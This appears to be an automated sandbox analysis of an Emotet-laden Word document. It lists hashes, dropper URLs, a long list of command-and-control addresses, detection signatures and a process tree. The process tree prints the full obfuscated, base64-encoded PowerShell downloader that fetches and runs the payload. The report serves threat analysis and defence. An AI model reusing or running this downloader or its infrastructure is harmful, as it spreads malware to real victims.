Analysis
- max time kernel
147s - max time network
150s - platform
windows10_x64 - resource
win10v200722 - submitted
23/09/2020, 23:10
Static task
static1
Behavioral task
behavioral1
Sample
変化2020-09-24.doc
Resource
win7
General
- Target 変化2020-09-24.doc
- Size 161KB
- Sample200923-79htf1bn2a
- SHA256 bad24e6bdf40e58be83bdeb717bcb1a09ae986e50f8c51fdc11ff8de777a4482
- MD5 465df228be9c653c7a6a5365e6136d6b
- SHA1 b77130482f5dedca8ba76f24c29fd5d35b453ce3
- SHA512 d088006ae2a73ef2167d569b2fec88c27446173a808b58df298599458399dfde91ff020118b340f01520c77cb86717d9a5b47e6a0655032d197cb952758fbdd4
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://guitarsforisrael.org/QPOUUYxLBk/1nprgf/
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exe.dropper
http://sadanandpvc.com/twitter/BssXB/
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exe.dropper
http://help-m2c.eccang.com/pseovck27kr/T/
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exe.dropper
http://youtube-monetization.com/qrnsp/2v/
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exe.dropper
http://ahrgintl.com/alfacgiapi/jg1VUae/
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exe.dropper
http://helionspharmaceutical.com/wp-admin/Xg/
-
exe.dropper
http://hanulmotors.com/nbqso/H0DdOyB/
Extracted
-
emotet
-
174.106.122.139:80
-
159.203.116.47:8080
-
173.249.6.108:443
-
104.236.246.93:8080
-
174.45.13.118:80
-
137.59.187.107:8080
-
94.200.114.161:80
-
37.187.72.193:8080
-
67.10.155.92:80
-
121.124.124.40:7080
-
24.43.99.75:80
-
75.139.38.211:80
-
109.74.5.95:8080
-
137.119.36.33:80
-
74.134.41.124:80
-
66.65.136.14:80
-
94.1.108.190:443
-
181.169.235.7:80
-
79.137.83.50:443
-
104.131.44.150:8080
-
121.7.127.163:80
-
96.249.236.156:443
-
120.150.60.189:80
-
134.209.36.254:8080
-
110.145.77.103:80
-
118.83.154.64:443
-
71.72.196.159:80
-
50.91.114.38:80
-
62.75.141.82:80
-
157.245.99.39:8080
-
140.186.212.146:80
-
168.235.67.138:7080
-
104.131.11.150:443
-
78.24.219.147:8080
-
46.105.131.79:8080
-
104.251.33.179:80
-
24.43.32.186:80
-
200.114.213.233:8080
-
153.137.36.142:80
-
85.96.199.93:80
-
94.23.237.171:443
-
5.39.91.110:7080
-
85.152.162.105:80
-
162.241.242.173:8080
-
213.196.135.145:80
-
139.99.158.11:443
-
194.187.133.160:443
-
78.187.156.31:80
-
1.221.254.82:80
-
124.41.215.226:80
-
139.130.242.43:80
-
209.141.54.221:8080
-
87.106.136.232:8080
-
83.169.36.251:8080
-
195.7.12.8:80
-
185.94.252.104:443
-
95.213.236.64:8080
-
42.200.107.142:80
-
203.153.216.189:7080
-
68.188.112.97:80
-
5.196.74.210:8080
-
87.106.139.101:8080
-
104.32.141.43:80
-
94.124.59.22:8080
-
74.219.172.26:80
-
108.46.29.236:80
-
93.147.212.206:80
-
172.104.97.173:8080
-
190.240.194.77:443
-
103.86.49.11:8080
-
74.208.45.104:8080
-
82.80.155.43:80
-
61.19.246.238:443
-
139.162.108.71:8080
-
121.7.31.214:80
-
188.219.31.12:80
-
37.139.21.175:8080
-
181.169.34.190:80
-
219.74.18.66:443
-
123.176.25.234:80
-
216.139.123.119:80
-
79.98.24.39:8080
-
62.30.7.67:443
-
139.162.60.124:8080
-
176.111.60.55:8080
-
91.211.88.52:7080
-
172.91.208.86:80
-
139.59.60.244:8080
-
89.216.122.92:80
-
142.112.10.95:20
-
107.5.122.110:80
-
50.35.17.13:80
-
97.82.79.83:80
-
68.252.26.78:80
-
110.142.236.207:80
-
47.144.21.12:443
-
24.137.76.62:80
-
220.245.198.194:80
-
74.120.55.163:80
-
24.179.13.119:80
-
113.61.66.94:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3388 2884 POWeRsHeLL.exe 72 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1340-15-0x00000000005E0000-0x00000000005F2000-memory.dmp emotet behavioral2/memory/1340-15-0x00000000005E0000-0x00000000005F2000-memory.dmp emotet behavioral2/memory/1340-16-0x00000000004F0000-0x0000000000500000-memory.dmp emotet behavioral2/memory/1340-16-0x00000000004F0000-0x0000000000500000-memory.dmp emotet behavioral2/memory/2112-19-0x00000000005F0000-0x0000000000602000-memory.dmp emotet behavioral2/memory/2112-19-0x00000000005F0000-0x0000000000602000-memory.dmp emotet behavioral2/memory/2112-20-0x0000000002090000-0x00000000020A0000-memory.dmp emotet behavioral2/memory/2112-20-0x0000000002090000-0x00000000020A0000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 20 3388 POWeRsHeLL.exe - Executes dropped EXE 2 IoCs
pid Process 1340 Bxpa1zx6.exe 2112 mfmkvsrcsnk.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDINUK2\mfmkvsrcsnk.exe Bxpa1zx6.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3816 WINWORD.EXE 3816 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3388 POWeRsHeLL.exe 3388 POWeRsHeLL.exe 3388 POWeRsHeLL.exe 2112 mfmkvsrcsnk.exe 2112 mfmkvsrcsnk.exe 2112 mfmkvsrcsnk.exe 2112 mfmkvsrcsnk.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3388 POWeRsHeLL.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 1340 Bxpa1zx6.exe 2112 mfmkvsrcsnk.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3388 wrote to memory of 1340 3388 POWeRsHeLL.exe 78 PID 3388 wrote to memory of 1340 3388 POWeRsHeLL.exe 78 PID 3388 wrote to memory of 1340 3388 POWeRsHeLL.exe 78 PID 1340 wrote to memory of 2112 1340 Bxpa1zx6.exe 80 PID 1340 wrote to memory of 2112 1340 Bxpa1zx6.exe 80 PID 1340 wrote to memory of 2112 1340 Bxpa1zx6.exe 80
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\変化2020-09-24.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exePOWeRsHeLL -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATABlAFwAcwA0AFgAZAAwADIAMABcAFMAZQBNAFcANABwAHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAYABVAHIASQB0AHkAYABwAHIATwBUAE8AYABjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACcAKQArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQATgBoAGQAZABpADYAZgAgAD0AIAAoACgAJwBCAHgAJwArACcAcABhACcAKQArACcAMQAnACsAKAAnAHoAJwArACcAeAA2ACcAKQApADsAJABTAGUAcAB5ADgAawBkAD0AKAAoACcAWgAnACsAJwBrAF8AZwAnACkAKwAnAHQAeQAnACsAJwBqACcAKQA7ACQAUABkADgANQB1AGEAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQBTADQAJwArACcAeABkADAAMgAwAHsAMAAnACsAJwB9AFMAJwArACgAJwBlAG0AdwAnACsAJwA0ACcAKQArACcAcAAnACsAJwBxAHsAMAB9ACcAKQAgACAALQBGACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAE4AaABkAGQAaQA2AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoANwB0AGoANABkAGsAPQAoACgAJwBVAHUAJwArACcAZgBfACcAKQArACgAJwBxAG8AJwArACcAZQAnACkAKQA7ACQATAB2ADUAawAxAG4AawA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBDAGwAaQBFAE4AVAA7ACQASAAyAHMAXwBuAGgAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAoACcAZwAnACsAJwB1AGkAJwApACsAJwB0AGEAJwArACcAcgAnACsAKAAnAHMAJwArACcAZgBvACcAKQArACgAJwByAGkAJwArACcAcwAnACkAKwAnAHIAJwArACcAYQBlACcAKwAoACcAbAAnACsAJwAuAG8AJwApACsAKAAnAHIAJwArACcAZwAvAFEAUAAnACsAJwBPAFUAJwApACsAJwBVAFkAJwArACgAJwB4ACcAKwAnAEwAQgBrACcAKQArACcALwAxACcAKwAoACcAbgBwAHIAJwArACcAZwBmACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBzAGEAZAAnACsAJwBhAG4AYQAnACkAKwAnAG4AJwArACcAZAAnACsAKAAnAHAAdgAnACsAJwBjACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdAAnACsAJwB3ACcAKwAnAGkAdAAnACkAKwAoACcAdABlAHIAJwArACcALwBCACcAKQArACgAJwBzACcAKwAnAHMAWAAnACsAJwBCAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBoAGUAbABwACcAKwAnAC0AbQAyAGMALgAnACsAJwBlACcAKwAnAGMAJwArACcAYwBhAG4AZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwBwACcAKwAnAHMAJwApACsAKAAnAGUAJwArACcAbwB2AGMAawAyACcAKQArACgAJwA3AGsAJwArACcAcgAnACkAKwAoACcALwBUACcAKwAnAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHkAbwAnACsAJwB1AHQAdQBiACcAKwAnAGUALQBtAG8AbgBlAHQAaQAnACkAKwAnAHoAYQAnACsAJwB0AGkAJwArACgAJwBvAG4AJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAcQByAG4AcwAnACsAJwBwAC8AMgAnACkAKwAnAHYAJwArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AYQAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGcAJwArACcAaQBuAHQAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBhAGwAZgBhACcAKwAnAGMAJwArACcAZwAnACkAKwAoACcAaQBhAHAAaQAvACcAKwAnAGoAZwAnACkAKwAoACcAMQBWACcAKwAnAFUAJwApACsAJwBhAGUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AaAAnACsAJwBlAGwAaQBvAG4AcwAnACkAKwAoACcAcABoACcAKwAnAGEAcgAnACkAKwAnAG0AJwArACgAJwBhAGMAZQAnACsAJwB1AHQAaQBjAGEAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAJwBYACcAKwAoACcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAYQAnACkAKwAoACcAbgB1AGwAbQAnACsAJwBvACcAKQArACgAJwB0AG8AJwArACcAcgBzAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAbgBiACcAKQArACcAcQAnACsAKAAnAHMAJwArACcAbwAvACcAKQArACgAJwBIADAAJwArACcARABkAE8AeQAnACsAJwBCAC8AJwApACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQB0ADMAbQB6AHcAbAA9ACgAKAAnAEoAJwArACcAcABlAGUAJwArACcAdgBuACcAKQArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAGgAMgBlADQAbQAzACAAaQBuACAAJABIADIAcwBfAG4AaAB0ACkAewB0AHIAeQB7ACQATAB2ADUAawAxAG4AawAuACIARABgAE8AVwBuAGwAbwBBAGAAZABGAGkAYABMAEUAIgAoACQASwBoADIAZQA0AG0AMwAsACAAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEUAbQBuADUAZAB2AGwAPQAoACgAJwBWACcAKwAnADcANwAnACkAKwAnAG0AZQAnACsAJwBlAGsAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAZAA4ADUAdQBhAHQAKQAuACIAbABgAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADkAOAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEoAbgBhADgAOQBfADIAPQAoACgAJwBLADcAJwArACcAbgAnACkAKwAoACcAXwBnAF8AJwArACcAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQA1AGUAYQBsAHQAaQA9ACgAKAAnAEUAcwAnACsAJwA1ADIAMABfACcAKQArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AMABoAF8AdABjAGkAPQAoACgAJwBQAGoAJwArACcAegB6ACcAKQArACgAJwAwAHcAJwArACcAeQAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe"C:\Users\Admin\S4xd020\Semw4pq\Bxpa1zx6.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\SysWOW64\KBDINUK2\mfmkvsrcsnk.exe"C:\Windows\SysWOW64\KBDINUK2\mfmkvsrcsnk.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2112
-
-